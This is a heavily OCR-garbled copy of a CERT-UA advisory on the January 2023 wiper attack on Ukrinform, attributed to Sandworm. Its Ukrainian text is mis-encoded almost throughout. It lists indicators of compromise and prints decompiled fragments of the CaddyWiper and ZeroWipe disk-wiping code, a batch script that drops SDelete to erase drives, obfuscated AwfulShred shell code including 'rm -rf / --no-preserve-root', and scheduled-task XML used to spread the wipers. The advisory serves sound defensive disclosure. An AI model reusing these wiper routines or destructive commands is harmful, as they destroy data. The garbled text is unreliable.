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B Tenerpam-kanai "CyberArmyofRussia_Reborn" 17.01.2023 6/1u3bKko 12:39 omny6/1ikoBaHO iH(popMaliito 11100
TOpYILIeHHS IITAaTHOTO PeXXUMY (PYHKI[iOHYBaHHs [eKiIbKOX efleMeHTiB iHhopMalliiHO-KOMYHiKalliHOT chcTeMu

(mani - IKC) YkpaiHcbkoro HaljioHa/nbHOro iHopMariiiiHoro areHTcTBa " YKpiHhopM".

3a 3BepHeHHsIM ATeHTCTBa YPsiZJ0BOIO KOMaH/[00 pearyBaHHs Ha KOMIT'IOTepHi HazizBuualiHi mofii Ykpainu CERT-

UA 17.01.2023 iniiifioBaHo 3aX0/1 1I[0/I0 JOC/TiPKEeHHs KibepaTaku.

CranoMm Ha 27.01.2023 BusiB/ieHO 5 3paskiB LIKi/IMBUX NIporpam (CKpUNTIB), (PYHKI[iOHAM SIKUX CIIPSIMOBAHO Ha
TOpYIIIeHHS 1[i/TICHOCTI Ta ZOCTyMHOCTI iHdopMarii (3anuc dhaliniB/aucKiB HyTbOBUMH OaiiTaMu/[OBITEHUMU

JlaHMMU Ta X To/iasblile BUjajieHHs ), a came:

e CaddyWiper (Windows)
e ZeroWipe (Windows)
e SDelete (Windows)

o AwfulShred (Linux)

e BidSwipe (FreeBSD)

3'sIcoBaHoO, 1110 3/I0BMUCHUKAMH 3/[iIHCHEHO HEBZay Cripo0y MOPYIIIeHHS IITaTHOTO PEXKUMY POOOTH KOMITIOTEPiB
KOPHCTYBauiB 3 BUKOPUCTAHHSIM IIKiIIMBUX MTporpaM-gecTpykropiB CaddyWiper Ta ZeroWipe, a Takox
neritumHoi yTustiTi SDelete (3amyck sikoi repegbavanocs 34iHCHATH 3a 1omoMororo "news.bat"). IIpu 1ibomy, 3
METO0 1[eHTPasTi30BaHOT0 PO3MOBCIOKEHHS IIKi//ITMBUX MPOrpaM, CTBOPEHO 00'eKT rpymoBoi nosituku (GPO),

1110, y CBOIO Uepry, 3abe3reuyBaB CTBOPEHHS Bi/JTIOBiZIHUX 3aTJTAHOBAHUX 3aBJlaHb.

IcHYIOTB ITi/ICTaBW BBaXKaTH, 11]0 eTar po3Bifku IKC YKpaiHChbKOTro HallioHa/IbHOTO iH(popMalliliHOro areHTCTBa
"Ykpindopm" rpoegHo He misHimie 07.12.2022. BcTaHOB/EHO, 1110 3aBepIiaibHy CTa/lit0 KibepaTaku iHillilioBaHO
17.01.2023, rpoTe, BOHa MaJia JIAIIIe YaCTKOBUH YCITiX, 30KpeMa, Y BifIHOIIeHHI JeKiTbKOX CUCTeM 306epiraHHs

JlaHUX.

B npoueci gocnimkeHHs BusHaueHo esieMeHT IKC, 3a 10mOMOroro SIKOro CTBOPeHO MepeyMOBU [1JIst

HeCaHKI[iIOHOBAHOTO Bi/iZla/ieHOTo I0CTYIY 0 iHpopMaliiHuX pecypciB ATeHTCTBa.

Bepyuw 710 yBaru pesynbTaTd JA0CTiPKEHHS, BBA’KAEMO 38 MOXK/TUBE CTBEP/PKYBATH, 11]0 KibepaTaky 3/ilicHeHO

rpymoto UAC-0082 (Sandworm), AisyTbHICTB SIKOT aCOI[IOETHCS 3 TY Tl 3C po.

Cnip, 3ayBakKUTH, 1110 3rajlaHuii TejierpaM-KaHall, 1opsifi i3 TUIOBMMMU MOBifoMIeHHsIMU 1110710 DDoS-arak Ta

nmedeiiciB, eKCKII03UBHO BUCBIT/IIOE e CTPYKTUBHY aKTUBHICTD, L0 3/iiCHIOETHCS 3ra/JaHUM YTPYITyBaHHSIM.
InpukaTopu KoMIpoMeTariii

datinu:
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€Cc213200daf4202e2454dc2c363db04f
54e57730710193e109cbacc82565c6a9
6aa899b47596323da573fb21813a8266
803df907d936e08fbbd06020c411be93
3a1070b882d6843fcfa9490c24700bd1
435863d34fc99e91af11dd7976c36c27

Xocmoasi:

https://cert.gov.ua/article/3718487

00782ccdb5aled3e3e74cele59e752926e0a050818fa195bd7e5a5b359500758
e3bc3689f01fd431cd2ed368ae91eceaarc465c2781fa7b7dc2ec9143a404179
301b248a8291df6c7f3565a3dac17ee69609f36ef474b4f20eebe134746a9cac
e8eaa39%e2adfd49ab69d7bb8504cch82a902c8b48fhc256472136141775e594c
246607235d560e90590dc f1b0507ab18de74afcc4429d8d5f3bad7eacc92d73f
66548babcabd34b7d17e42ab2e1405db1c581a516e@b1a4942d373d6d5396bad

powershell.exe -Enc JABQAHIAbwBnAHIAZQBzAHMAUABYAGUAZg[ . ..]1xADgALgBOAGOACAANAA==
powershell.exe -Enc JABQAHIAbwBnAHIAZQBzAHMAUABYAGUAZg[ . ..]zADEAOAAUAHQAbQBWACCA
powershell.exe -Enc JABQAHIAbwBnAHIAZQBzAHMAUABYAGUAZg[ . ..]15AEEAQgAuAGwWAbwBNACCA
powershell.exe -Enc JABQAHIAbwBnAHIAZQBzAHMAUABYAGUAZg[ . ..]2ADQALgBSAGBAZWANAA==
$ProgressPreference="SilentlyContinue";copy C:\windows\system32\winevt\logs\Security.evtx C:\windows'

$ProgressPreference="SilentlyContinue";copy C:\windows\system32\winevt\logs\Security.evtx C:\windows'

$ProgressPreference="SilentlyContinue";dnscmd /enumrecords %DOMAIN% . /type A /child > 'C:\windows\t:
$ProgressPreference="SilentlyContinue" ;hostname > 'C:\VLOG\dd_vcredist_x86_20200324195140_001_vcRunt
icacls.exe C:\Windows\explorer.exe /deny *S-1-1-0:F

takeown /F C:\Windows\explorer.exe

:\Users\new.exe

:\Windows\new.bat
:\Windows\up.exe

:\windows\temp\TS_4318. tmp
:\windows\temp\b8WTBWCoF5. log

[en TN on TN on RN on NN oo BN o BN oo BN oo BN g |

:\windows\temp\BRN3C2AF47629AB. log

:\VLOG\dd_vcredist_x86_20200324195140_001_vcRuntimeAdditional_x64.1log
:\Windows\SYSVOL\domain\Policies\{31B2F340-016D-11D2-945F-00C04FB9I84FI}\MACHINE\news.bat
:\Windows\SYSVOL\domain\Policies\{31B2F340-016D-11D2-945F-00C04FB9I84FI}\MACHINE \upd. exe

\\%DOMAIN%\SYSVOL\%DOMAIN%\Policies\{31B2F340-016D-11D2-945F-00C04FBI84F9}\MACHINE \news .bat
\\%DOMAIN%\SYSVOL\%DOMAIN%\Policies\{31B2F340-016D-11D2-945F-00C04FB9I84FI} \MACHINE\upd. exe

certutil (Process Name)
copy (Process Name)
dnscmd (Process Name)
hostname (Process Name)
icacls.exe (Process Name)
shutdown (Process Name)
takeown (Process Name)

Windows_Security_Update_HxW (Scheduled Task)
Windows_Security_Update_gMj (Scheduled Task)
Windows_Security_Update_xBQ (Scheduled Task)
/root/r.sh

/sbhin/audit.sh

Mepeoicesi:
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I'padiuni 300pakeHHst

185[.]220.101.185
185[.1220.102.244
185[.]1220.102.245
185[.1220.102.248
185[.]1220.102.250
185[.1220.102.251

45[.]154.98.225 NL
77[.191.123.136 NL
80[.167.167.81 FR
194[.128.172.172

194[.728.172.81 UA

https://cert.gov.ua/article/3718487

DE
DE
DE
DE

@digitalcouragel[.]de
@digitalcourage[.]de
@digitalcouragel[.]de
@digitalcourage[.]de

(TOR Relay:
(TOR Relay:
(TOR Relay:
(TOR Relay:
DE @digitalcourage[.]de (TOR Relay:
DE @digitalcourage[.]de (TOR Relay:
©as210558[ . Inet (TOR relay: prsv)
@stark-industries[.]solutions (TOR Relay: lePaysduDragon)
@milkywan[.]fr (TOR Relay: arecoquel)

UA @besthosting[.]ua (torguard[.]net; secureconnect[.]me)

relayon1185)

Digitalcouragedipea)
Digitalcouragedipfb)
Digitalcouragedipib)
Digitalcouragedip3a)
Digitalcouragedip4a)

@besthosting[.]Jua (torguard[.]net; secureconnect[.]me)

}

hDevice = (#CreateFileW)(u_\\.\PHYSICALDRIVE@,@xc@@000@@,3,NULL,OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL,NULL);
if (hDevice != (HANDLE)@xffffffff) {
1pLayout = (DRIVE_LAYOUT_INFORMATION_EX %) (kLocalAlloc)(LMEM_ZEROINIT,0@x780); {
(*DeviceIoControl) (hDevice, I0CTL_DISK_GET_DRIVE_LAYOUT_EX,NULL,®,1lpLayout,@x780,&local_98,NULL);
if (lpLayout->PartitionEntry[@].StartingOffset.s.LowPart == 1) {

*(undefined4 *)lplLayout->PartitionEntry[6].u.Gpt.PartitionType.Data4 = 0;

*(undefined4 *)(lpLayout->PartitionEntry[@].u.Gpt.PartitionType.Datas + 4) = 0;

IpLayout->PartitionEntry[@].u.Gpt.PartitionId.Datal = 0;

*(undefined4 *)&lplLayout->PartitionEntry[@].u.Gpt.PartitionId.Data2 = 0;

(*DeviceIoControl) (hDevice,IOCTL_DISK_SET_DRIVE_LAYOUT_EX,lpLayout,@x780,NULL,@,&local_98,NULL);

else if (lpLayout->PartitionStyle == PARTITION_STYLE_MBR) {
1pBuffer = (kLocalAlloc)(LMEM_ZEROINIT,@x200);
s_SetFilePointer._@_4_ = 0x46746553;

4_ = 0x50656c69;

8_4_ = Ox746e696f;

s_SetFilePointer._é&
s_SetFilePointer.
s_SetFilePointer._12_2_ = @x7265;
s_SetFilePointer[14] = '\@';
s_WriteFile._@_&_ = 0x74697257;
s_WriteFile._4_&4_ = @x6C694665;
s_WriteFile. 2_ = 0x65;

SetFilePointer = (kctx->GetProcAddress) (ctx->hKernel32,s_SetFilePointer);
WriteFile = (kctx->GetProcAddress) (ctx—>hKernel32,s WriteFile);
(*SetFilePointer) (hDevice,@,NULL,8);

(#WriteFile) (hDevice, lpBuffer,0x200,8&local_98,NULL);

(*LocalFree) (1pBuffer);
¥
(*LocalFree) (1pLayout) ;
(%CloseHand1e) (hDevice)

undefined4 entry(void)

int ivari;
context_t ctx;

ctx._4_4_ = 0;
ctx._0_4_ = 0;
ctx._8_4_ = 0;

ctx.LoadLibraryA = NULL;
ctx.GetProcAddress = NULL;
ctx.hKernel32 = NULL;
ctx.hAdvapi32 = NULL;
ivarl = init_context(&ctx);
if (ivarl !=0) {

return 0;
}
ctx._8_4_ = 0;

if (ctx._8_4_ !=1) {
destroy_mbr(&ctx);
wipe_files(&ctx);
delete_drives(&ctx);

}

return 0;

if (x(char *)((int)ProcessEnvironmentBlock + 2) == '\x01') {

Puc.1 3pa3ok JieKomIiiboBaHOTO riporpamHoro kogy CaddyWiper (v3)

}

int main(void)

HANDLE hThread;
uint index;

DWORD nCount;
HANDLE threads [26];

threads[0] JULL;
_memset(threads 1,0,100);
nCount

index = 0;

do {

hThread = CreateThread(
if (hThread NULL) {
threads [nCount]
nCount 1;

hThread;

index

} while (index < 26);

WaitForMultipleObjects(nCount,threads, 1, 0xff
)

Sleep(1800000) ;
ExitWindowsEx(EWX_LOGOFF, 0xffff

return 9;

oid thread_proc(int drive_index)
HANDLE hDevice;

BOOL Bvaril;

HLOCAL lpBuffer;

DWORD out_size, written;
DISK_GEOMETRY geometry;

WCHAR device_name [ 1:

wsprintfW(device_name, L

Physic ,drive_index) ;
CreateFileW(device_name, 0x

hDevice
f (hDevice (HANDLE) 0 ) {
out_size ;
JLL, 0, thread_proc, (LPVOID)index, &, NULL); BVa‘révargevlceIngontrol(hDEvlce, IOCTL_DISK_GET_DRIVE_GEOMETRY,NULL,?,&geometry, 0x
SetFilePointer(hDevice, 0, ,0);
1pBuffer = LocalAlloc(LMEM_ZEROINIT,geometry.BytesPerSector JH
if (lpBuffer A ) A
written ‘H
do {
Bvarl = WriteFile(hDevice, lpBuffer,geometry.BytesPerSector 0,8written,NL
); } while (Bvarl )
! LocalFree(lpBuffer);
. }
ff); }
H

,OPEN_EXISTING, FILE_FLAG_WRITE_THROUGH,NULL) ;

»bout_size,

);

)

Puc.2 3pa3ok feKoMMisibOBaHOTO MPOTrpamMHOro Koay ZeroWipe
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1 @echo off 17941
2 17942
3 setlocal EnableDelayedExpansion 17943
4  set TEMPFILE HEX="'RANDOM!.hex" 17944
5 set TEMPFILE EXE="!RANDOM!.exe" ggﬁg
6

7 >%TEMPFILE HEX: echo 4D 5A 99 @0 03 00 00 80 04 00 00 @0 FF FF 00 80 B3 00 00 00 | 17047
8 >>%TEMPFILE HEX% echo 60 00 00 00 40 00 00 00 00 00 00 00 60 00 00 00 00 00 00 00 | 17949
9 >>%TEMPFILE HEX% echo 80 00 00 60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | 17950
10 >>%TEMPFILE HEX% echo 10 01 00 00 GE 1F BA OE 00 B4 09 CD 21 B8 01 4C CD 21 54 68 | 17951
11 >>%TEMPFILE HEX% echo 69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6F 74 20 62 65| 17952
12 >>%TEMPFILE HEX% echo 20 72 75 6E 20 69 6E 20 44 4F 53 20 6D 6F 64 65 2E ©D 0D A | |17953
13 >>%TEMPFILE HEX% echo 24 00 00 00 00 00 00 00 10 96 6E 1B 54 F7 00 48 54 F7 00 48 | 17954
14 >>%TEMPFILE HEX% echo 54 F7 00 48 EO 6B F1 48 5E F7 00 48 EO 6B F3 48 D4 F7 00 48 | 17955
15 >>%TEMPFILE HEX% echo EQ 6B F2 48 4C F7 00 48 06 9F 05 49 70 F7 00 48 06 9F 04 49 };ggg
16 >>%TEMPFILE HEX echo 46 F7 00 48 06 OF 03 49 41 F7 00 48 5D 8F 93 48 59 F7 00 48 | | 7020
17  >>%TEMPFILE HEX% echo 54 F7 01 48 DF F7 00 48 F7 9E 05 49 56 F7 00 48 F7 9E 04 49 | |17929
18 >>%TEMPFILE HEX% echo 57 F7 00 48 F7 9E FF 48 55 F7 00 48 54 F7 97 48 55 F7 00 48 | 17080
19  >>%TEMPFILE HEX% echo F7 9E 02 49 55 F7 00 48 52 69 63 68 54 F7 00 48 00 00 00 00 | |17961
20 >>%TEMPFILE HEX% echo 00 00 00 00 00 60 00 00 00 00 00 00 50 45 00 00 4C 01 05 00 | 17962
21 >>%TEMPFILE HEX% echo E4 98 BD 5F 00 00 00 00 00 00 00 00 EO 00 02 01 0B 01 OF 10 | 17963
22 >>%TEMPFILE HEX% echo 00 ©8 04 00 00 5C 01 00 00 00 00 00 E5 5D 00 60 00 10 00 00 | 17964
23 >>%TEMPFILE HEX% echo 00 20 04 00 00 00 40 00 00 10 00 00 00 02 00 00 05 60 01 00 | |17965

>>%TEMPFILE HEX%
>>%TEMPFILE HEX%
>>%TEMPFILE HEX%
>>%TEMPFILE _HEX%
>>%TEMPFILE HEXS
>>%TEMPFILE HEX%

echo
echo
echo
echo
echo
echo

AE 3B
A3 28
4A 80
c4 11
2F A7
00 00

Al B7 18 70
6A 0B 19 06
41 01 6B EC
F5 DA 68 BB
4F DB 3E 30

C7 11 46 DC AC 6C 49 D8
15 6A 76 20 5D 7F 8A 30
F5 14 04 FF E3 5C 7B CA
94 99 6C 62 FA 72 53 1D
68 F8 4C EF 67 EF F6 21

certutil -f -decodehex “TEMPFILE HEX% %TEMPFILE EXE%
takeown /F C:\Windows\explorer.exe

icacls.exe C:\Windows\explorer.exe /deny *S-1-1-0:F

for %%i in (D:,E:,F:,
takeown /a /r /d Y /f %1
start %cd\%TEMPFILE EXE% -nobanner -accepteula -r -s -q “%i\*
)

Wi, Ed,R:,Ti, Y, U, 10,00, P, S HE X2, Y, Z0)

timeout 60

takeown /a /r /d Y /f C:\Users\

%cd®\%TEMPFILE EXE% -nobanner -accepteula -r -s -q c:\Users
%cds\%TEMPFILE EXE% -nobanner -accepteula -z c:

shutdown /r /f /t 600
%cd%\%TEMPFILE EXE% -nobanner -accepteula -r -s -q c:\*

3B 49 88 20
63 91 8E 6E
BA E4 3C 4F
06 3C 3D 34
9B Al 7B 00

LaypeHCujxH
PUITS0ZTG

return $161EBNBKE

y

FRAXTAGRF 20V "5"

1 T #i/bin/bash
3 5 dectare history_titem/bash_history
5 4
H 5 declare shred_comand=
: 6 declare shred args=
& dectare -o disk devices
i CALTxOInEzen) ${aNahsHXBHu3 ) $(udoCuFrTORKN)™ H
2 , . 10 dectare -a service paths=(
b prche b e “/ete/systend/systent"
1 dectare ooy “/Ub/systend/systent”
16 declare -r Helstrackorie Fanction WPDNPROaGVG() “Just/Uib/systend/systen
1 declare gkcumiryis toeat
9 declare KHGEYVSWobEy= ocal XdYwfEBnBKEh=$avBMghXgoYLu
2 function « 0
2 pectore Tocal RQVgqHistxil fumction
22 declare Vit Tocal XxSgTlHhWZzz )
55 dectore —r T Tocal biyawDhsloL0=0 function exists()
= declare Lejo oo Tocal -a CLPgGbmFdEWA
2 dectare -2 v local KKWqnCEMEmib function detete_self()
F
B e systend/systent if [[ "s{#uddisEENHCzy[@]}" ~gt 0 11; then
5 uar Ll yenas st . } e
5 ) for XxSqTWhWZzz in "${wddisEENHczy [@1}"; do {
rnction o RQVGqHNs txN=$(eval "$gKCUmzYVTrVz $KHQEYSWYbbFy$XxSQTWMAWZZZ 2>$nrQCaEeV0zau") & Yanction ECUBREGEE0
(= CLPgGbmFAEWA [${biyawDhsloL0}]=$! {m
Yonction K 0 ((biyawdhsloLO++)) N
e function S0
Pp— if [ "$RQVgqHNs txN" 1; then =
(o XdYwfEBNBKEh=$HCUST rmtKwyY Function B 0
§ .
function 1oL 1 ¢
(o done
[ H— 0 for KKWgnCEMEmib in ${CLPgGbmFdEWA[@]}; do Function EETNATSRVIETTCER()
o wait $KKWqnCEMEmib N
function 0 0 done function 0
(= i s
)
r—— o ) ,
£ return $XdYwfEBnBKER function (
function | o X X
(s N
function 1 o function 0
)
function 08N HEAe) S
3 function shred_disk_devices() function w21n()
function 0505 () ‘
(= rete
p tocal ret=0 Tocat ret=1
fnction o local result SF (1 s 115 then
tocal XévfEBnBERmSHUST local disk_device - e
Pt then local i=0 IF (17517 eq "51 11 66 ([ "$1" gt 0 11; then
UL P52 g S0 1) 66 (S0 0t 0 115 then Local -a pending steep s((s1460))
local pid else
e Pl sttsiseen exit
et sty if [[ "${#disk_devices[@]}" -gt 0 11; then "
i
OvtuISiynz for disk_device in "${disk_devices(@]}"; do delete_history_and_flush_caches
/ result=(eval "$shred_command $shred_args$disk_device 2>/dev/null") & disable_history
Fr— pending [${i}]=$! 1F can_shred; then
it aurrinisaz; then ((i+4)) '
[ i es “apache nttp ssht
[ if [ “$result" 1; then Wers "/boot /hame /var/log
vyt s ret=1
AlputanLow i
3 U1 57 eq savBMghXaoYLy 66 *S(RddisEDNACy (@]} ot 0 115 then done 1F (1 $7 20 0 &6 "${adisk_devices(@)}" ot 0 11; then
for pid in ${pendinglel}; do s
if whonpy then wait $pid o
R — done
s fi
i H
“ "
i ~rf / —no-preserve-root >$ardCatel0zay 2561 return $ret
} et / —no-preserve-root >/dev/null 261
£ ete

return sret

Puc.4 Tpuknaj opuriHanbHOTO Ta 1eo0dyckoBaHOro rporpaMHoro kogy AwfulShred
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—<ScheduledTasks clsid="{CC63F200-7309-4ba0-B154- A71CD118DBCC}“>
—<TaskV2 clsid="{D8896631-B747-47a7-84A6-C155 " name="news1" image changed="2023-01-17 09:41:10" uid="{CA63CF6E-CI3E-49A0-9E47-882740076BB3}" userContext="0" removePolicy=
—<Properties action="U" name="news1" runAs=" %DOMA[N%\%USERNAME RUNAS%" logonType="S4U"
—<1‘ask version="1.2">

ScheduledTasks.xml

+<Prmc|pals> </pnnup.-us>

+<Settings></Settings>

~<Triggers>
—<TimeTrigger>

v 3-01-17T1 v
<Enabled>true</Enabled>

—<Actions Context="Author">
—<Exec>

C:
</Exec>
</Actions>
<[Task>
</Properties>
</Taskv2>
-<Task clsid="{2DEECBIC-261F-4¢13.9821-L6FB83BCO3ED) * name="news?" image="2" changed="2023-01-17 09:43
—<Properties action="U" name="news2" appName="C:\Windows\new.bat" args=" startin="C:\\ enable
systemRequired="1">
—<Triggers:
Trigger hasEndDate="0" interval="1" type=
<[Triggers>
</Properties>
<[Task>
- <TaskV2 clatd=+{DE89SO31-B747-4747.04A6 C155337P3BCE} name=rupl tm " changed=
~<Properties actio 1" runAs="%DOMAINY\4USERNAME RUNAS%* logonType~
ok verstanert 2o

{81DE282D-518D-453F-9418-32D54CEE4DC1 } 1 uselcnnlexl 0" removePolicy="0">
=1 0" star or jes="0" " jes="0"

ONCE" startHour="10" " 500 0" begit 12023" begi 1% begi "7

"2023-01-17 09:47:12" uid="{1A87FEE9-6658-4860-840F-8DCD4BEFABAF} " userContext="

TSAU">

" removePolicy="0">

+
+<Principals></Principals> 215B2E53-57CE-475¢-80FE-OEEC14635851) ">
+<Settings></Settings> SOBECE S67A-Led1 B1DO S234FELFJAF)* name="newbal” status="new.bal” lmage~2" change
Tri TS> <Properties action: fromPath=' 1%\1 {31B2F340-016D-11D2-945F-
~ <TimeTrigger> hidden="1" suppress="0'/>
<StartBoundary>2023-01-17T10:50:18Z</StartBoundary> ~<rilta
<Enabled>true</Enabled> <“""“““°‘“= hidden=
<MMmeTrigger>
</Trigge
~ZActions Context="Author">
—<Exec>

023-01-17 09:35:13" uid=" 3-76F82873892C}"
bat" .

" not="0" bool="AND" id="{DCEOFEB2 55 155631 Files.xml

status="up.exe" =2 changed="2023-01-17 09:45:11" uld="{298F 7-BDAA- )
. fnrml’ath*‘\\%DOMAII\%\SYS\OL\%DO\’I:\IN%\PuhuE:\(JIBZFJAO oD 1102 5455 000 . " readOnly="0

xe</C

</Exec>
</Actions>

</Properties>
</Taskv2>
-<Task clsid="{2DEECBIC-261F-4¢13-921-16FBE3BC03BD) * name="up2" imagle="2" changed="2023-01-17 00:47 5 uid="{0138E97D- 23134354 021B-0F0F4831AIES}* userContext="0" removePolicy="0">
—<pmpemes action="U" name="up2" appName="C:\Windows\up.exe" args=" startIn="
—<Trigg
Trigger hasEndDate="0" interval="1" type="ONCE" "10" i 50" "0" begi "2023" beg "1" begi 17>
</Triggers>
</Properties>

1>

<[Task>
</ScheduledTasks>

Puc.5 Tlpuksiaz HajalTyBaHb 3ariaHOBaHUX 3aBZaHb

Source: https://cert.gov.ua/article/3718487
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